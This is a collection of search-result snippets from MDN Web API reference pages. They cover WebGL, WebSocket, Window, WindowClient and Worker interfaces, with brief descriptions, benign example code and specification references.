examples var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); gl.waitsync(sync, 0, gl.timeout_ignored); specifications specification status comment webgl 2.0the definition of 'waitsync' in that specification.
... opengl es 3.0the definition of 'glwaitsync' in that specification.
WebGLActiveInfo.name - Web APIs
the read-only webglactiveinfo.name property represents the name of the requested data returned by calling the getactiveattrib() or getactiveuniform() methods.
... examples var activeattrib = gl.getactiveattrib(program, index); activeattrib.name; var activeuniform = gl.getactiveuniform(program, index); activeuniform.name; specifications specification status comment webgl 1.0the definition of 'webglactiveinfo.name' in that specification.
WebGLActiveInfo.size - Web APIs
the read-only webglactiveinfo.size property is a number representing the size of the requested data returned by calling the getactiveattrib() or getactiveuniform() methods.
... examples var activeattrib = gl.getactiveattrib(program, index); activeattrib.size; var activeuniform = gl.getactiveuniform(program, index); activeuniform.size; specifications specification status comment webgl 1.0the definition of 'webglactiveinfo.size' in that specification.
WebGLActiveInfo.type - Web APIs
the read-only webglactiveinfo.type property represents the type of the requested data returned by calling the getactiveattrib() or getactiveuniform() methods.
... examples var activeattrib = gl.getactiveattrib(program, index); activeattrib.type; var activeuniform = gl.getactiveuniform(program, index); activeuniform.type; specifications specification status comment webgl 1.0the definition of 'webglactiveinfo.type' in that specification.
WebGLActiveInfo - Web APIs
the webglactiveinfo interface is part of the webgl api and represents the information returned by calling the webglrenderingcontext.getactiveattrib() and webglrenderingcontext.getactiveuniform() methods.
...program, gluint index) specifications specification status comment webgl 1.0the definition of 'webglactiveinfo' in that specification.
WebGLRenderbuffer - Web APIs
the webglrenderbuffer interface is part of the webgl api and represents a buffer that can contain an image, or can be source or target of an rendering operation.
...when working with webglrenderbuffer objects, the following methods of the webglrenderingcontext are useful: webglrenderingcontext.bindrenderbuffer() webglrenderingcontext.createrenderbuffer() webglrenderingcontext.deleterenderbuffer() webglrenderingcontext.isrenderbuffer() examples creating a render buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createrenderbuffer(); specifications specification status comment webgl 1.0the definition of 'webglrenderbuffer' in that specification.
WebGLRenderingContext.attachShader() - Web APIs
\n\n' + info; } specifications specification status comment webgl 1.0the definition of 'attachshader' in that specification.
... opengl es 2.0the definition of 'glattachshader' in that specification.
WebGLRenderingContext.blendColor() - Web APIs
gl.getparameter(gl.blend_color); // float32array[0, 0.5, 1, 1] specifications specification status comment webgl 1.0the definition of 'blendcolor' in that specification.
... opengl es 2.0the definition of 'glblendcolor' in that specification.
WebGLRenderingContext.createBuffer() - Web APIs
examples creating a buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.createbuffer(); specifications specification status comment webgl 1.0the definition of 'createbuffer' in that specification.
... opengl es 2.0the definition of 'glgenbuffers' in that specification.
WebGLRenderingContext.createFramebuffer() - Web APIs
examples creating a frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var framebuffer = gl.createframebuffer(); specifications specification status comment webgl 1.0the definition of 'createframebuffer' in that specification.
... opengl es 2.0the definition of 'glgenframebuffers' in that specification.
WebGLRenderingContext.createProgram() - Web APIs
specifications specification status comment webgl 1.0the definition of 'createprogram' in that specification.
... opengl es 2.0the definition of 'glcreateprogram' in that specification.
WebGLRenderingContext.depthFunc() - Web APIs
gl.getparameter(gl.depth_func) === gl.never; // true specifications specification status comment webgl 1.0the definition of 'depthfunc' in that specification.
... opengl es 2.0the definition of 'gldepthfunc' in that specification.
WebGLRenderingContext.depthMask() - Web APIs
gl.getparameter(gl.depth_writemask); // false specifications specification status comment webgl 1.0the definition of 'depthmask' in that specification.
... opengl es 2.0the definition of 'gldepthmask' in that specification.
WebGLRenderingContext.depthRange() - Web APIs
examples gl.depthrange(0.2, 0.6); to check the current depth range, query the depth_range constant which returns a float32array gl.getparameter(gl.depth_range); // float32array[0.2, 0.6] specifications specification status comment webgl 1.0the definition of 'depthrange' in that specification.
... opengl es 2.0the definition of 'gldepthrangef' in that specification.
WebGLRenderingContext.detachShader() - Web APIs
specifications specification status comment webgl 1.0the definition of 'detachshader' in that specification.
... opengl es 2.0the definition of 'gldetachshader' in that specification.
WebGLRenderingContext.disableVertexAttribArray() - Web APIs
examples gl.disablevertexattribarray(0); specifications specification status comment webgl 1.0the definition of 'disablevertexattribarray' in that specification.
... opengl es 2.0the definition of 'gldisablevertexattribarray' in that specification.
WebGLRenderingContext.drawArrays() - Web APIs
examples gl.drawarrays(gl.points, 0, 8); specifications specification status comment webgl 1.0the definition of 'drawarrays' in that specification.
... opengl es 2.0the definition of 'gldrawarrays' in that specification.
WebGLRenderingContext.drawElements() - Web APIs
examples gl.drawelements(gl.points, 8, gl.unsigned_byte, 0); specifications specification status comment webgl 1.0the definition of 'drawelements' in that specification.
... opengl es 2.0the definition of 'gldrawelements' in that specification.
WebGLRenderingContext.drawingBufferHeight - Web APIs
it should match the height attribute of the <canvas> element associated with this context, but might differ if the implementation is not able to provide the requested height.
... syntax gl.drawingbufferheight; examples given this <canvas> element: <canvas id="canvas"></canvas> you can get the height of the drawing buffer with the following lines: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.drawingbufferheight; // 150 specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.drawingbufferheight' in that specification.
WebGLRenderingContext.drawingBufferWidth - Web APIs
it should match the width attribute of the <canvas> element associated with this context, but might differ if the implementation is not able to provide the requested width.
... syntax gl.drawingbufferwidth; examples given this <canvas> element: <canvas id="canvas"></canvas> you can get the width of the drawing buffer with the following lines: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.drawingbufferwidth; // 300 specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.drawingbufferwidth' in that specification.
WebGLRenderingContext.frontFace() - Web APIs
examples gl.frontface(gl.cw); specifications specification status comment webgl 1.0the definition of 'frontface' in that specification.
... opengl es 2.0the definition of 'glfrontface' in that specification.
WebGLRenderingContext.getActiveAttrib() - Web APIs
examples const numattribs = gl.getprogramparameter(program, gl.active_attributes); for (let i = 0; i < numattribs; ++i) { const info = gl.getactiveattrib(program, i); console.log('name:', info.name, 'type:', info.type, 'size:', info.size); } specifications specification status comment webgl 1.0the definition of 'getactiveattrib' in that specification.
... opengl es 2.0the definition of 'glgetactiveattrib' in that specification.
WebGLRenderingContext.getAttachedShaders() - Web APIs
examples var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.getattachedshaders(program); specifications specification status comment webgl 1.0the definition of 'getattachedshaders' in that specification.
... opengl es 2.0the definition of 'glgetattachedshaders' in that specification.
WebGLRenderingContext.getProgramInfoLog() - Web APIs
examples checking program errors var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.getprograminfolog(program); specifications specification status comment webgl 1.0the definition of 'getprograminfolog' in that specification.
... opengl es 2.0the definition of 'glgetprograminfolog' in that specification.
WebGLRenderingContext.getShaderInfoLog() - Web APIs
*/ gl.compileshader(shader); var message = gl.getshaderinfolog(shader); if (message.length > 0) { /* message may be an error or a warning */ throw message; } specifications specification status comment webgl 1.0the definition of 'getshaderinfolog' in that specification.
... opengl es 2.0the definition of 'glgetshaderinfolog' in that specification.
WebGLRenderingContext.getShaderPrecisionFormat() - Web APIs
var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float); // webglshaderprecisionformat { rangemin: 127, rangemax: 127, precision: 23 } specifications specification status comment webgl 1.0the definition of 'getshaderprecisionformat' in that specification.
... opengl es 2.0the definition of 'glgetshaderprecisionformat' in that specification.
WebGLRenderingContext.getShaderSource() - Web APIs
examples var shader = gl.createshader(gl.vertex_shader); gl.shadersource(shader, originalsource); var source = gl.getshadersource(shader); specifications specification status comment webgl 1.0the definition of 'getshadersource' in that specification.
... opengl es 2.0the definition of 'glgetshadersource' in that specification.
WebGLRenderingContext.getSupportedExtensions() - Web APIs
examples var canvas = document.getelementbyid('canvas'); gl = canvas.getcontext('webgl'); var extensions = gl.getsupportedextensions(); // array [ 'angle_instanced_arrays', 'ext_blend_minmax', ...
...rtex_array_object ovr_multiview2 webgl_color_buffer_float webgl_compressed_texture_astc webgl_compressed_texture_atc webgl_compressed_texture_etc webgl_compressed_texture_etc1 webgl_compressed_texture_pvrtc webgl_compressed_texture_s3tc webgl_compressed_texture_s3tc_srgb webgl_debug_renderer_info webgl_debug_shaders webgl_depth_texture webgl_draw_buffers webgl_lose_context specifications specification status comment webgl 1.0the definition of 'webglrenderingcontext.getsupportedextensions' in that specification.
WebGLRenderingContext.linkProgram() - Web APIs
\n\n' + info); } specifications specification status comment webgl 1.0the definition of 'linkprogram' in that specification.
... opengl es 2.0the definition of 'gllinkprogram' in that specification.
WebGLRenderingContext.sampleCoverage() - Web APIs
gl.getparameter(gl.sample_coverage_value); // 0.5 gl.getparameter(gl.sample_coverage_invert); // false specifications specification status comment webgl 1.0the definition of 'samplecoverage' in that specification.
... opengl es 2.0the definition of 'glsamplecoverage' in that specification.
WebGLRenderingContext.shaderSource() - Web APIs
examples var shader = gl.createshader(gl.vertex_shader); gl.shadersource(shader, originalsource); var source = gl.getshadersource(shader); specifications specification status comment webgl 1.0the definition of 'shadersource' in that specification.
... opengl es 2.0the definition of 'glshadersource' in that specification.
WebGLRenderingContext.stencilOp() - Web APIs
gl.getparameter(gl.stencil_fail); gl.getparameter(gl.stencil_pass_depth_pass); gl.getparameter(gl.stencil_pass_depth_fail); gl.getparameter(gl.stencil_back_fail); gl.getparameter(gl.stencil_back_pass_depth_pass); gl.getparameter(gl.stencil_back_pass_depth_fail); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilop' in that specification.
... opengl es 2.0the definition of 'glstencilop' in that specification.
WebGLRenderingContext.stencilOpSeparate() - Web APIs
gl.getparameter(gl.stencil_fail); gl.getparameter(gl.stencil_pass_depth_pass); gl.getparameter(gl.stencil_pass_depth_fail); gl.getparameter(gl.stencil_back_fail); gl.getparameter(gl.stencil_back_pass_depth_pass); gl.getparameter(gl.stencil_back_pass_depth_fail); gl.getparameter(gl.stencil_bits); specifications specification status comment webgl 1.0the definition of 'stencilopseparate' in that specification.
... opengl es 2.0the definition of 'glstencilopseparate' in that specification.
WebGLRenderingContext.useProgram() - Web APIs
examples var program = gl.createprogram(); // attach pre-existing shaders gl.attachshader(program, vertexshader); gl.attachshader(program, fragmentshader); gl.linkprogram(program); gl.useprogram(program); specifications specification status comment webgl 1.0the definition of 'useprogram' in that specification.
... opengl es 2.0the definition of 'gluseprogram' in that specification.
WebGLShader - Web APIs
the webglshader is part of the webgl api and can either be a vertex or a fragment shader.
...ateshader function from the example above var vertexshader = createshader(gl, vertexshadersource, gl.vertex_shader) creating a fragment shader var fragmentshadersource = 'void main() {\n' + ' gl_fragcolor = vec4(1.0, 1.0, 1.0, 1.0);\n' + '}\n'; //use the createshader function from the example above var fragmentshader = createshader(gl, fragmentshadersource, gl.fragment_shader) specifications specification status comment webgl 1.0the definition of 'webglshader' in that specification.
WebGLShaderPrecisionFormat.precision - Web APIs
the read-only webglshaderprecisionformat.precision property returns the number of bits of precision that can be represented.
... examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float).precision; // 23 gl.getshaderprecisionformat(gl.fragment_shader, gl.low_int).precision; // 0 specifications specification status comment webgl 1.0the definition of 'webglshaderprecisionformat.precision' in that specification.
WebGLShaderPrecisionFormat.rangeMax - Web APIs
the read-only webglshaderprecisionformat.rangemax property returns the base 2 log of the absolute value of the maximum value that can be represented.
... examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float).rangemax; // 127 gl.getshaderprecisionformat(gl.fragment_shader, gl.low_int).rangemax; // 24 specifications specification status comment webgl 1.0the definition of 'webglshaderprecisionformat.rangemax' in that specification.
WebGLShaderPrecisionFormat.rangeMin - Web APIs
the read-only webglshaderprecisionformat.rangemin property returns the base 2 log of the absolute value of the minimum value that can be represented.
... examples var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); gl.getshaderprecisionformat(gl.vertex_shader, gl.medium_float).rangemin; // 127 gl.getshaderprecisionformat(gl.fragment_shader, gl.low_int).rangemin; // 24 specifications specification status comment webgl 1.0the definition of 'webglshaderprecisionformat.rangemin' in that specification.
WebGLSync - Web APIs
WebAPIWebGLSync
the webglsync interface is part of the webgl 2 api and is used to synchronize activities between the gpu and the application.
... var sync = gl.fencesync(gl.sync_gpu_commands_complete, 0); specifications specification status comment webgl 2.0the definition of 'webglsync' in that specification.
WebGLTransformFeedback - Web APIs
the webgltransformfeedback interface is part of the webgl 2 api and enables transform feedback, which is the process of capturing primitives generated by vertex processing.
... var transformfeedback = gl.createtransformfeedback(); specifications specification status comment webgl 2.0the definition of 'webgltransformfeedback' in that specification.
WebGLVertexArrayObject - Web APIs
// calls to bindbuffer or vertexattribpointer // which will be "recorded" in the vao // ...
... specifications specification status comment webgl 2.0the definition of 'webglvertexarrayobject' in that specification.
Animating objects with WebGL - Web APIs
we can do that by creating a new variable to track the time at which we last animated (let's call it then), then adding the following code to the end of the main function var then = 0; // draw the scene repeatedly function render(now) { now *= 0.001; // convert to seconds const deltatime = now - then; then = now; drawscene(gl, programinfo, buffers, deltatime); requestanim...
...ationframe(render); } requestanimationframe(render); this code uses requestanimationframe to ask the browser to call the function "render" on each frame.
WebKitCSSMatrix - Web APIs
specifications specification status comment geometry interfaces module level 1the definition of 'webkitcssmatrix' in that specification.
... candidate recommendation ...
WebSocket() - Web APIs
these strings are used to indicate sub-protocols, so that a single server can implement multiple websocket sub-protocols (for example, you might want one server to be able to handle different types of interactions depending on the specified protocol).
... specifications specification status comment html living standardthe definition of 'the websocket constructor' in that specification.
WebSocket.close() - Web APIs
WebAPIWebSocketclose
syntax websocket.close(); parameters code optional a numeric value indicating the status code explaining why the connection is being closed.
... specifications specification status comment html living standard the definition of 'websocket.close()' in that specification.
WebSocket: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples // create websocket connection.
... const socket = new websocket('ws://localhost:8080'); // listen for messages socket.addeventlistener('message', function (event) { console.log('message from server ', event.data); }); specifications specification status html living standardthe definition of 'websocket message' in that specification.
WebSocket: open event - Web APIs
bubbles no cancelable no interface event event handler property onopen examples // create websocket connection.
... const socket = new websocket('ws://localhost:8080'); // connection opened socket.addeventlistener('open', (event) => { socket.send('hello server!'); }); specifications specification status html living standardthe definition of 'websocket open' in that specification.
WebSocket.readyState - Web APIs
1 open the connection is open and ready to communicate.
... specifications specification status comment html living standardthe definition of 'websocket: readystate' in that specification.
WheelEvent() - Web APIs
"deltay", optional and defaulting to 0.0, is a double representing the vertical scroll amount in the deltamode unit.
... specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent()' in that specification.
WheelEvent.deltaY - Web APIs
WebAPIWheelEventdeltaY
the wheelevent.deltay read-only property is a double representing the vertical scroll amount in the wheelevent.deltamode unit.
... syntax var dy = event.deltay; example var syntheticevent = new wheelevent("syntheticwheel", {"deltay": 4, "deltamode": 0}); console.log(syntheticevent.deltay); specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'wheelevent.deltay' in that specification.
Window: appinstalled event - Web APIs
the appinstalled event of the web manifest api is fired when the browser has successfully installed a page as an application.
... bubbles no cancelable no interface event event handler onappinstalled examples you can use the appinstalled event in an addeventlistener method: window.addeventlistener('appinstalled', function() { console.log('thank you for installing our app!'); }); or use the onappinstalled event handler property: window.onappinstalled = function() { console.log('thank you for installing our app!'); }; ...
Window.back() - Web APIs
WebAPIWindowback
example this simple example handles a click on a "back" button by calling back().
... function handlemybackbutton() { if (cangoback) { window.back(); } } specification this is not part of any specification.
Window.customElements - Web APIs
the customelements read-only property of the window interface returns a reference to the customelementregistry object, which can be used to register new custom elements and get information about previously registered custom elements.
... specification specification status comment html living standardthe definition of 'window.customelements' in that specification.
Window: deviceorientation event - Web APIs
bubbles no cancelable no interface deviceorientationevent event handler property window.ondeviceorientation examples if (window.deviceorientationevent) { window.addeventlistener("deviceorientation", function(event) { // alpha: rotation around z-axis var rotatedegrees = event.alpha; // gamma: left to right var lefttoright = event.gamma; // beta: front back motion var fronttoback = event.beta; ...
... handleorientationevent(fronttoback, lefttoright, rotatedegrees); }, true); } var handleorientationevent = function(fronttoback, lefttoright, rotatedegrees) { // do something amazing }; specifications specification status deviceorientation event specificationthe definition of 'deviceorientation event' in that specification.
Window.document - Web APIs
WebAPIWindowdocument
example console.log(window.document.title); specifications specification status comment html living standardthe definition of 'window.document' in that specification.
... living standard html5the definition of 'window.document' in that specification.
Window: error event - Web APIs
bubbles no cancelable no interface event or uievent event handler property onerror the event object is a uievent instance if it was generated from a user interface element, or an event instance otherwise.
... js const log = document.queryselector('.event-log-contents'); window.addeventlistener('error', (event) => { log.textcontent = log.textcontent + `${event.type}: ${event.message}\n`; console.log(event) }); const scripterror = document.queryselector('#script-error'); scripterror.addeventlistener('click', () => { const badcode = 'const s;'; eval(badcode); }); result specifications specification status ui events working draft ...
Window.event - Web APIs
WebAPIWindowevent
note: this property can be fragile, in that there may be situations in which the returned event is not the expected value.
... specifications specification status comment domthe definition of 'window.event' in that specification.
Window.external - Web APIs
WebAPIWindowexternal
however, this is now deprecated, and the contained methods are now dummy functions that do nothing as per spec.
... specifications specification status html living standardthe definition of 'external' in that specification.
Window.frameElement - Web APIs
example const frameel = window.frameelement; // if we're embedded, change the containing element's url to 'http://mozilla.org/' if (frameel) { frameel.src = 'http://mozilla.org/'; } specifications specification status comment html living standardthe definition of 'window.frameelement' in that specification.
... candidate recommendation initial specification.
Window: hashchange event - Web APIs
bubbles yes cancelable no interface hashchangeevent event handler onhashchange examples you can use the hashchange event in an addeventlistener method: window.addeventlistener('hashchange', function() { console.log('the hash has changed!') }, false); or use the onhashchange event handler property: function locationhashchanged() { if (location.hash === '#cool-feature') { console.log("you're visiting a cool feature!"); } } window.onhashchange = locationhashchanged; specifications specification status comment html living standardthe definition of 'ha...
...shchange' in that specification.
Window.home() - Web APIs
WebAPIWindowhome
syntax window.home(); example function gohome() { window.home(); } specification dom level 0.
... not part of specification.
Window.length - Web APIs
WebAPIWindowlength
example if (window.length) { // this is a document with subframes } specifications specification status comment html living standardthe definition of 'window.length' in that specification.
... living standard html5the definition of 'window.length' in that specification.
Window: messageerror event - Web APIs
the messageerror event is fired on a window object when it receives a message that can't be deserialized.
... bubbles no cancelable no interface messageevent event handler property onmessageerror examples listen for messageerror using addeventlistener(): window.addeventlistener('messageerror', (event) => { console.error(event); }); the same, but using the onmessageerror event handler property: window.onmessageerror = (event) => { console.error(event); }; specifications specification status html living standard living standard ...
Window.mozInnerScreenX - Web APIs
that means it can be affected by the zoom level; to compute the actual number of physical screen pixels, you should use the nsidomwindowutils.screenpixelspercsspixel property.
... specification not part of any w3c technical specification or recommendation.
Window.mozInnerScreenY - Web APIs
that means it can be affected by the zoom level; to compute the actual number of physical screen pixels, you should use the nsidomwindowutils.screenpixelspercsspixel property.
... specification not part of any w3c technical specification or recommendation.
Window.navigator - Web APIs
WebAPIWindownavigator
the window.navigator read-only property returns a reference to the navigator object, which has methods and properties about the application running the script.
...537.36 (khtml, like gecko) ubuntu chromium/66.0.3359.181 chrome/66.0.3359.181 safari/537.36" } else if (susrag.indexof("safari") > -1) { sbrowser = "apple safari"; // "mozilla/5.0 (iphone; cpu iphone os 11_4 like mac os x) applewebkit/605.1.15 (khtml, like gecko) version/11.0 mobile/15e148 safari/604.1 980x1306" } else { sbrowser = "unknown"; } alert("you are using: " + sbrowser); specifications specification status comment html living standardthe definition of 'window: navigator' in that specification.
Window.onappinstalled - Web APIs
the onappinstalled attribute of the window object serves as an event handler for the appinstalled event, which is dispatched once the web application is successfully installed as a progressive web app.
...}; example window.onappinstalled = function(ev) { console.log('the application was installed.'); }; ...
Window.ondragdrop - Web APIs
WebAPIWindowondragdrop
syntax window.ondragdrop = funcref; window.addeventlistener("dragdrop", funcref, usecapturing); funcref the event handler function to be registered.
... <html> <head><title>dragdroptest</title> <script type="text/javascript"> window.addeventlistener("dragdrop", testfunc, false); function testfunc(event) { alert("dragdrop!"); event.stoppropagation(); } </script> </head> <body> i am bodytext </body> </html> specification not part of specification.
Window: online event - Web APIs
bubbles no cancelable no interface event event handler property ononline examples // addeventlistener version window.addeventlistener('online', (event) => { console.log("you are now connected to the network."); }); // ononline version window.ononline = (event) => { console.log("you are now connected to the network."); }; specifications specification status html living standardthe ...
...definition of 'online event' in that specification.
Window.onmozbeforepaint - Web APIs
notes this event fires immediately before the browser window is repainted, if the event has been requested by one or more scripts calling window.mozrequestanimationframe().
... specification not part of a specification.
Window.onpaint - Web APIs
WebAPIWindowonpaint
not working in gecko-based applications currently, see notes section!
... specification this is not part of any specification.
Obsolete features - Web APIs
personalbar obsolete since gecko 76 if this feature is on, then the new secondary window renders the personal toolbar in netscape 6.x, netscape 7.x and mozilla browser.
... mozilla and firefox users can force new windows to always render the personal toolbar/bookmarks toolbar by setting dom.disable_window_open_feature.personalbar to true in about:config or in their user.js file.
Window.opener - Web APIs
WebAPIWindowopener
in modern browsers, a rel="noopener noreferrer" attribute on the originating <a> element will prevent the window.opener reference from being set, in which case this property will return null.
... specifications specification status comment html living standardthe definition of 'window.opener' in that specification.
Window: orientationchange event - Web APIs
bubbles no cancelable no interface event event handler onorientationchange example you can use the orientationchange event in an addeventlistener method: window.addeventlistener("orientationchange", function(event) { console.log("the orientation of the device is now " + event.target.screen.orientation.angle); }); or use the onorientationchange event handler property: window.onorientationchange = function(event) { console.log("the orientation of the device is now " + event.target.screen.orientation.angle); }; specifications specification status compatibility standardthe definition of 'orientationchange' in that specif...
...ication.
Window.outerHeight - Web APIs
graphical example the following figure shows the difference between outerheight and innerheight.
... specification specification status comment css object model (cssom) view modulethe definition of 'window.outerheight' in that specification.
Window.performance - Web APIs
the window interface's performance property returns a performance object, which can be used to gather performance information about the current document.
... specifications specification status comment high resolution timethe definition of 'window.performance' in that specification.
Window: rejectionhandled event - Web APIs
this can be used in debugging and for general application resiliency, in tandem with the unhandledrejection event, which is sent when a promise is rejected but there is no hander for the rejection.
... bubbles no cancelable no interface promiserejectionevent event handler property onrejectionhandled example you can use the rejectionhandled event to log promises that get rejected to the console, along with the reasons why they were rejected: window.addeventlistener("rejectionhandled", event => { console.log("promise rejected; reason: " + event.reason); }, false); specifications specification status comment html living standardthe definition of 'rejectionhandled' in that specification.
Window.resizeBy() - Web APIs
WebAPIWindowresizeBy
ydelta is the number of pixels to grow the window vertically.
... specifications specification status comment css object model (cssom) view modulethe definition of 'window.resizeby()' in that specification.
Window.resizeTo() - Web APIs
WebAPIWindowresizeTo
the window.resizeto() method dynamically resizes the window.
... function quarter() { window.resizeto( window.screen.availwidth / 2, window.screen.availheight / 2 ); } specification specification status comment css object model (cssom) view modulethe definition of 'window.resizeto()' in that specification.
Window.scrollBy() - Web APIs
WebAPIWindowscrollBy
y-coord is the vertical pixel value that you want to scroll by.
... specification specification status comment css object model (cssom) view modulethe definition of 'window.scrollby()' in that specification.
Window.scrollByPages() - Web APIs
example // scroll down the document by 1 page window.scrollbypages(1); // scroll up the document by 1 page window.scrollbypages(-1); specification dom level 0.
... not part of specification.
Window.scrollTo() - Web APIs
WebAPIWindowscrollTo
y-coord is the pixel along the vertical axis of the document that you want displayed in the upper left.
... specifications specification status comment css object model (cssom) view modulethe definition of 'window.scroll()' in that specification.
Window.setCursor() - Web APIs
WebAPIWindowsetCursor
this function is unavailable to web pages, which can use the css cursor property instead.
... specification this is not part of any specification.
Window.speechSynthesis - Web APIs
after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want.
...; } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'speechsynthesis' in that specification.
Window.top - Web APIs
WebAPIWindowtop
specifications specification status comment html living standardthe definition of 'window.top' in that specification.
... living standard html5the definition of 'window.top' in that specification.
Window: unload event - Web APIs
bubbles no cancelable no interface event event handler property onunload it is fired after: beforeunload (cancelable event) pagehide the document is in the following state: all the resources still exist (img, iframe etc.) nothing is visible anymore to the end user ui interactions are ineffective (window.open, alert, confirm, etc.) an error won't stop the unloading workflow please note that the unload event also follows the document tree: parent frame unload will happen before child frame unload (see example below).
... specifications specification status comment ui eventsthe definition of 'unload' in that specification.
Window.updateCommands() - Web APIs
specification dom level 0.
... not part of specification.
WindowClient.focus() - Web APIs
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url...
... == '/' && 'focus' in client) return client.focus(); } if (clients.openwindow) return clients.openwindow('/'); })); }); specifications specification status comment service workersthe definition of 'focus()' in that specification.
WindowClient.navigate() - Web APIs
syntax windowclient.navigate(url).then(function(windowclient) { // do something with your windowclient after navigation }); parameters url the location to navigate to.
... specifications specification status comment service workersthe definition of 'navigate()' in that specification.
WindowEventHandlers.onafterprint - Web APIs
in general, you should prefer the use of an @media print css at-rule, but it may be necessary to use these events in some cases.
...}; specification specification status comment html living standardthe definition of 'onafterprint' in that specification.
WindowEventHandlers.onlanguagechange - Web APIs
example window.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specifications specification status comment html living standardthe definition of 'windoweventhandler.onlanguagechange' in that specification.
... living standard initial specification.
WindowEventHandlers.onmessage - Web APIs
the onmessage property of the windoweventhandlers mixin is the eventhandler called whenever an object receives a message event.
...} specifications specification status comment html living standardthe definition of 'onmessage' in that specification.
WindowEventHandlers.onmessageerror - Web APIs
the onmessageerror event handler of the windoweventhandlers interface is an eventlistener, called whenever an messageevent of type messageerror is fired on a window—that is, when it receives a message that cannot be deserialized.
...}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
WindowEventHandlers.onunhandledrejection - Web APIs
syntax window.onunhandledrejection = function; value function is an eventhandler or function to call when unhandledrejection events are received by the window.
... window.onunhandledrejection = function(e) { console.log(e.reason); } specifications specification status comment html living standardthe definition of 'onunhandledrejection' in that specification.
WindowOrWorkerGlobalScope.crossOriginIsolated - Web APIs
the crossoriginisolated read-only property of the windoworworkerglobalscope interface returns a boolean value that indicates whether a sharedarraybuffer can be sent via a window.postmessage() call.
... syntax var mycrossoriginisolated = self.crossoriginisolated; // or just crossoriginisolated value a boolean value examples if(crossoriginisolated) { // post sharedarraybuffer } else { // do something else } specifications specification status comment html living standardthe definition of 'crossoriginisolated' in that specification.
WindowOrWorkerGlobalScope.origin - Web APIs
examples executed from inside a worker script, the following snippet will log the worker's global scope's origin to the console each time it receives a message onmessage = function() { console.log(self.origin); }; if the origin is not a scheme/host/port tuple (say you are trying to run it locally, i.e.
... specifications specification status comment html living standardthe definition of 'windoworworkerglobalscope.origin' in that specification.
WindowProxy - Web APIs
therefore, interacting with a windowproxy object is almost identical to directly interacting with a window object.
... specifications specification status comment html living standardthe definition of 'windowproxy' in that specification.
Worker: message event - Web APIs
when the worker sends a message using dedicatedworkerglobalscope.postmessage()).
... bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and listens to messages from it using addeventlistener(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); alternatively, it could listen using the onmessage event handler property: const worker = new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.log(`received message from worker: ${event.data}`) }; the worker posts messages using self.postmessage(): // static/scripts/worker.js self.postmessage('i\'m alive!'); specifications specification sta...
Worker.onmessageerror - Web APIs
the onmessageerror event handler of the worker interface is an eventlistener, called whenever an messageevent of type messageerror is fired on the worker instance — that is, when it receives a message that cannot be deserialized.
...}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
WorkerGlobalScope.close() - Web APIs
the close() method of the workerglobalscope interface discards any tasks queued in the workerglobalscope's event loop, effectively closing this particular scope.
... syntax self.close(); example if you wanted to close your worker instance from inside the worker itself, you could call the following: close(); close() and self.close() are effectively equivalent — both represent close() being called from inside the worker's inner scope.
WorkerGlobalScope.dump() - Web APIs
for example, on mac os x you'd run it using something like this (assuming you are inside the applications folder): ./firefox.app/contents/macos/firefox-bin -profile /tmp -no-remote now go into about:config and enable the browser.dom.window.dump.enabled pref.
... specifications this method does not appear in any specification.
WorkerGlobalScope.importScripts() - Web APIs
example if you had some functionality written in a separate script called foo.js that you wanted to use inside worker.js, you could import it using the following line: importscripts('foo.js'); importscripts() and self.importscripts() are effectively equivalent — both represent importscripts() being called from inside the worker's inner scope.
... specifications specification status comment html living standardthe definition of 'importscripts()' in that specification.
WorkerGlobalScope.onclose - Web APIs
summary the onclose property of the workerglobalscope interface represents an eventhandler to be called when the close event occurs and bubbles through the worker.
...}; example the following code snippet shows an onclose handler set inside a worker: self.onclose = function() { console.log('your worker instance has been closed'); } specifications this feature is no longer defined in any specifications.
WorkerGlobalScope.onerror - Web APIs
the onerror property of the workerglobalscope interface represents an eventhandler to be called when the error event occurs and bubbles through the worker.
